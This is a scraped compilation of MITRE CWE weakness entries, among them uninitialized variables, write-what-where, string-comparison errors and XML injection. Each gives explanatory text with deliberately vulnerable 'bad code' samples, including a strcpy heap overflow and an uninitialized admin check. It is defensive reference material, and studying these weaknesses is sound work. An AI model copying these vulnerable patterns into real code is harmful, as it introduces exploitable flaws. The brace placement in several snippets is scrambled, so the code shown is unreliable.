For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
As programming languages evolve, functions occasionally become obsolete due to:
Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0. (bad code)
Example Language: C
...
getpw(uid, pwdline); for (i=0; i<3; i++){ cryptpw=strtok(pwdline, ":"); }pwdline=0; result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0; ... Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby. Example 2 In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method. (bad code)
Example Language: Java
String cmd = null;
... cmd = Environment.GetEnvironmentVariable("cmd"); cmd = cmd.Trim(); Example 3 The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character. (bad code)
Example Language: Java
...
String name = new String(nameBytes, highByte); ... In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-823: Use of Out-of-range Pointer Offset
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.
While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array. Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error. If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the product. As a result, the attack might change the state of the product as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.
Maintenance
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.
CWE-1041: Use of Redundant Code
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product has multiple functions, methods, procedures, macros, etc. that
contain the same code.
This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. For example, if there are two copies of the same code, the programmer might fix a weakness in one copy while forgetting to fix the same weakness in another copy. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 In the following Java example the code performs some complex math when specific test conditions are met. The math is the same in each case and the equations are repeated within the code. Unfortunately if a future change needs to be made then that change needs to be made in all locations. This opens the door to mistakes being made and the changes not being made in the same way in each instance. (bad code)
Example Language: Java
public class Main {
public static void main(String[] args) {
double s = 10.0;
double r = 1.0; double pi = 3.14159; double surface_area; if(r > 0.0) { // complex math equations
surface_area = pi * r * s + pi * Math.pow(r, 2); } if(r > 1.0) { // a complex set of math
surface_area = pi * r * s + pi * Math.pow(r, 2); } } } It is recommended to place the complex math into its own function and then call that function whenever necessary. (good code)
Example Language: Java
public class Main {
private double ComplexMath(double r, double s) {
//complex math equations
double pi = Math.PI; double surface_area = pi * r * s + pi * Math.pow(r, 2); return surface_area; } public static void main(String[] args) {
double s = 10.0;
double r = 1.0; double surface_area; if(r > 0.0) { surface_area = ComplexMath(r, s);
} if(r > 1.0) { surface_area = ComplexMath(r, s);
} } }
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses the singleton pattern when creating a resource within a multithreaded environment.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Java (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one. (bad code)
Example Language: Java
private static NumberConverter singleton;
public static NumberConverter get_singleton() { if (singleton == null) { }singleton = new NumberConverter(); }return singleton; Consider the following course of events:
At this point, the threads have created and returned two different objects.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-908: Use of Uninitialized Resource
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
When a resource has not been properly initialized, the product may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the product.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached. (bad code)
Example Language: Java
private boolean initialized = true;
public void someMethod() { if (!initialized) {
// perform initialization tasks ... initialized = true; Example 2 The following code intends to limit certain operations to the administrator only. (bad code)
Example Language: Perl
$username = GetCurrentUser();
$state = GetStateData($username); if (defined($state)) { $uid = ExtractUserID($state); }# do stuff if ($uid == 0) { DoAdminThings(); }If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident. Example 3 The following code intends to concatenate a string to a variable and print the string. (bad code)
Example Language: C
char str[20];
strcat(str, "hello world"); printf("%s", str); This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory. If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found. If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash. Example 4 This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address. (bad code)
Example Language: C
char *test_string;
if (i != err_val) { test_string = "Hello World!";
}printf("%s", test_string); When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457). To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf(). One solution would be to set test_string to an acceptable default before the conditional: (good code)
Example Language: C
char *test_string = "Done at the beginning";
if (i != err_val) { test_string = "Hello World!";
}printf("%s", test_string); Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set: (good code)
Example Language: C
char *test_string;
if (i != err_val) { test_string = "Hello World!";
}else { test_string = "Done on the other side!";
}printf("%s", test_string);
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-457: Use of Uninitialized Variable
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code uses a variable that has not been initialized, leading to unpredictable or unintended results.
In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Sometimes Prevalent) C++ (Sometimes Prevalent) Perl (Often Prevalent) PHP (Often Prevalent) Class: Not Language-Specific (Undetermined Prevalence) Example 1 This code prints a greeting using information stored in a POST request: (bad code)
Example Language: PHP
if (isset($_POST['names'])) {
$nameArray = $_POST['names']; }echo "Hello " . $nameArray['first']; This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit. Example 2 The following switch statement is intended to set the values of the variables aN and bN before they are used: (bad code)
Example Language: C
int aN, Bn;
switch (ctl) { case -1:
aN = 0;
bN = 0; break; case 0: aN = i;
bN = -i; break; case 1: aN = i + NEXT_SZ;
bN = i - NEXT_SZ; break; default: aN = -1;
aN = -1; break; repaint(aN, bN); In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function. Example 3 This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address. (bad code)
Example Language: C
char *test_string;
if (i != err_val) { test_string = "Hello World!";
}printf("%s", test_string); When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457). To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf(). One solution would be to set test_string to an acceptable default before the conditional: (good code)
Example Language: C
char *test_string = "Done at the beginning";
if (i != err_val) { test_string = "Hello World!";
}printf("%s", test_string); Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set: (good code)
Example Language: C
char *test_string;
if (i != err_val) { test_string = "Hello World!";
}else { test_string = "Done on the other side!";
}printf("%s", test_string);
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-597: Use of Wrong Operator in String Comparison
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.
In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
Example 1 In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent. (bad code)
Example Language: Java
String str1 = new String("Hello");
String str2 = new String("Hello"); if (str1 == str2) { System.out.println("str1 == str2"); }However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method: (good code)
if (str1.equals(str2)) {
System.out.println("str1 equals str2"); }Example 2 In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same. (bad code)
Example Language: JavaScript
<p id="ieq3s1" type="text">(i === s1) is FALSE</p>
<p id="s4eq3i" type="text">(s4 === i) is FALSE</p> <p id="s4eq3s1" type="text">(s4 === s1) is FALSE</p> var i = 65; var s1 = '65'; var s4 = new String('65'); if (i === s1) { document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";
}if (s4 === i) { document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";
}if (s4 === s1) { document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";
}However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails. While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases. To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement: (good code)
Example Language: JavaScript
<p id="ieq2s1" type="text">(i == s1) is FALSE</p>
<p id="s4eq2i" type="text">(s4 == i) is FALSE</p> <p id="s4eq2s1" type="text">(s4 == s1) is FALSE</p> var i = 65; var s1 = '65'; var s4 = new String('65'); if (i == s1) { document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";
}if (s4 == i) { document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";
}if (s4 == s1) { document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";
}Example 3 In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same. (bad code)
Example Language: PHP
var $i = 65;
var $s1 = "65"; if ($i === $s1) { echo '($i === $s1) is TRUE'. "\n";
}else { echo '($i === $s1) is FALSE'. "\n";
}However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed. To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement: (good code)
Example Language: PHP
var $i = 65;
var $s1 = "65"; if ($i == $s1) { echo '($i == $s1) is TRUE'. "\n";
}else { echo '($i == $s1) is FALSE'. "\n";
}
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-123: Write-what-where Condition
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterAny condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code: (bad code)
Example Language: C
#define BUFSIZE 256
int main(int argc, char **argv) { char *buf1 = (char *) malloc(BUFSIZE); }char *buf2 = (char *) malloc(BUFSIZE); strcpy(buf1, argv[1]); free(buf2); Vulnerability in this case is dependent on memory layout. The call to strcpy() can be used to write past the end of buf1, and, with a typical layout, can overwrite the accounting information that the system keeps for buf2 when it is allocated. Note that if the allocation header for buf2 can be overwritten, buf2 itself can be overwritten as well. The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for buf2 will probably be buf1, and the next chunk may be null. When the free() occurs, most memory allocators will rewrite the linked list using data from buf2. Particularly, the "next" chunk for buf1 will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk. This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-91: XML Injection (aka Blind XPath Injection)
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
Within XML, special elements could include reserved words or characters such as "<", ">", """, and "&", which could then be used to add new data or modify XML syntax.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Theoretical
In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.
Research Gap
Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.
Maintenance
The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.
More information is available — Please edit the custom filter or select a different filter. |
Use of the Common Weakness Enumeration (CWE™) and the associated references from this website are subject to the Terms of Use. CWE is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) and managed by the Homeland Security Systems Engineering and Development Institute (HSSEDI) which is operated by The MITRE Corporation (MITRE). Copyright © 2006–2024, The MITRE Corporation. CWE, CWSS, CWRAF, and the CWE logo are trademarks of The MITRE Corporation. |